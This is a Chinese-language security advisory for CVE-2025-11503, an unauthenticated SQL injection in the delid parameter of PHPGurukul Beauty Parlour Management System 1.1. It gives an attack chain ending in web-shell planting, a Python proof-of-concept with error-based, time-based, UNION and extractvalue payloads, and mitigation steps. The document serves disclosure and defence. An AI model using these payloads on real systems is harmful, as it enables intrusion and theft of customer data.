IPBUF安全漏洞报告
English
CVE-2025-11503 CVSS 7.3 高危

CVE-2025-11503:PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11503
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入CVE-2025-11503PHPGurukulBeauty Parlour Management System高危漏洞远程利用无需认证manage-services.phpdelid参数Web应用漏洞

漏洞概述

CVE-2025-11503是PHPGurukul Beauty Parlour Management System 1.1版本中存在的一个高危SQL注入漏洞。该漏洞位于/admin/manage-services.php文件中,具体涉及对delid参数的处理逻辑。由于程序未对用户输入的delid参数进行充分的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句注入到后端数据库查询中,从而实现未授权的数据库操作。

该漏洞的CVSS 3.1评分为7.3,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。这意味着远程攻击者无需登录认证即可发起攻击,对系统的机密性、完整性和可用性均会造成低程度的影响。

值得注意的是,该漏洞的利用代码已经被公开披露,攻击者可以轻易获取并利用该漏洞发起攻击。受影响的系统主要面向美容院行业的管理业务,一旦被攻破,可能导致客户信息、服务记录、预约数据等敏感业务数据泄露或被篡改,对企业的正常运营和客户隐私构成严重威胁。

技术细节

该SQL注入漏洞的根本原因在于/admin/manage-services.php文件在处理delid参数时,未采用预编译参数化查询(Prepared Statements)或充分的输入验证/转义机制,而是直接将用户输入拼接到SQL查询语句中执行。

从技术层面分析,manage-services.php文件通常用于管理美容院的服务项目,其中delid参数用于指定要删除的服务记录ID。正常情况下,该参数应为一个整数值。然而,由于缺乏输入过滤,攻击者可以传入包含SQL元字符的恶意字符串,例如单引号(')、UNION关键字、OR条件等,从而改变原始SQL语句的语义。

攻击者可以利用基于错误的注入(Error-based)、布尔盲注(Boolean-based Blind)、时间盲注(Time-based Blind)或者UNION联合查询注入等多种方式来提取数据库中的敏感信息。通过UNION注入,攻击者甚至可以一次性获取整个数据库的内容,包括管理员凭据、客户个人信息等。

由于该漏洞无需认证即可远程利用,且PoC已公开,攻击者可以自动化批量扫描互联网上的暴露目标,实施大规模的数据窃取或破坏活动。建议管理员立即检查系统日志中是否存在异常的delid参数请求,以判断是否已被利用。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎(如Shodan、Google Dorks)或扫描工具识别互联网上部署了PHPGurukul Beauty Parlour Management System 1.1的目标系统,定位暴露的/admin/manage-services.php端点。
STEP 2
步骤2:漏洞探测
攻击者向manage-services.php发送带有特殊构造的delid参数(如添加单引号、OR 1=1等),通过观察响应内容中的数据库错误信息、响应时间差异或页面内容变化来确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
确认漏洞后,攻击者使用UNION联合查询、extractvalue报错注入或时间盲注等技术,构造SQL注入Payload,逐步提取数据库中的敏感信息,包括数据库名、表名、列名及数据内容。
STEP 4
步骤4:数据窃取
攻击者获取管理员账号密码哈希、客户个人信息(姓名、电话、地址)、服务记录、支付信息等敏感数据,可能将这些数据用于进一步攻击或出售获利。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭据登录系统后台,植入Web Shell或后门程序,获取服务器控制权,实现对系统的长期控制和数据持续窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11503 SQL Injection PoC # Target: PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/manage-services.php # Vulnerable parameter: delid import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/admin/manage-services.php" def exploit_sqli(target_url, delid_payload): """ Exploit SQL injection via the delid parameter in manage-services.php """ url = target_url.rstrip('/') + VULNERABLE_ENDPOINT params = { "delid": delid_payload } try: # Send malicious request response = requests.get(url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None # Example payloads payloads = { # Basic error-based detection "error_based": "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -", # Boolean-based blind injection "boolean_blind": "1' AND 1=1-- -", # Time-based blind injection "time_based": "1' AND SLEEP(5)-- -", # UNION-based injection (5 columns assumed) "union_based": "-1' UNION SELECT 1,2,3,4,5-- -", # Extract database name "extract_db": "1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -", # Extract table names "extract_tables": "1' AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- -", } if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Vulnerable endpoint: {VULNERABLE_ENDPOINT}") print(f"[*] Vulnerable parameter: delid") print() # Test with error-based payload print("[+] Testing error-based SQL injection...") response = exploit_sqli(TARGET_URL, payloads["error_based"]) if response and response.status_code == 200: if "error" in response.text.lower() or "sql" in response.text.lower(): print("[VULNERABLE] SQL injection confirmed!") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] Target may not be vulnerable or payload needs adjustment") # Test with time-based payload print("\n[+] Testing time-based SQL injection...") import time start_time = time.time() response = exploit_sqli(TARGET_URL, payloads["time_based"]) elapsed = time.time() - start_time if elapsed >= 5: print(f"[VULNERABLE] Time-based injection confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Response time: {elapsed:.2f}s (no delay detected)") # Test with UNION-based payload print("\n[+] Testing UNION-based SQL injection...") response = exploit_sqli(TARGET_URL, payloads["union_based"]) if response and response.status_code == 200: print(f"[+] Response length: {len(response.text)}") print(f"[+] Check response for injected data...")

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)临时拦截包含SQL注入特征的delid参数请求;2)修改源代码,将manage-services.php中delid参数的处理逻辑改为使用预编译参数化查询或对输入进行严格的整型验证(如使用intval()函数);3)限制/admin/目录的访问,仅允许可信IP地址访问管理后台;4)在数据库层面,对涉及delid的查询语句进行审计和权限限制;5)密切监控系统日志,查找是否存在异常的delid参数访问记录,及时发现可能的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表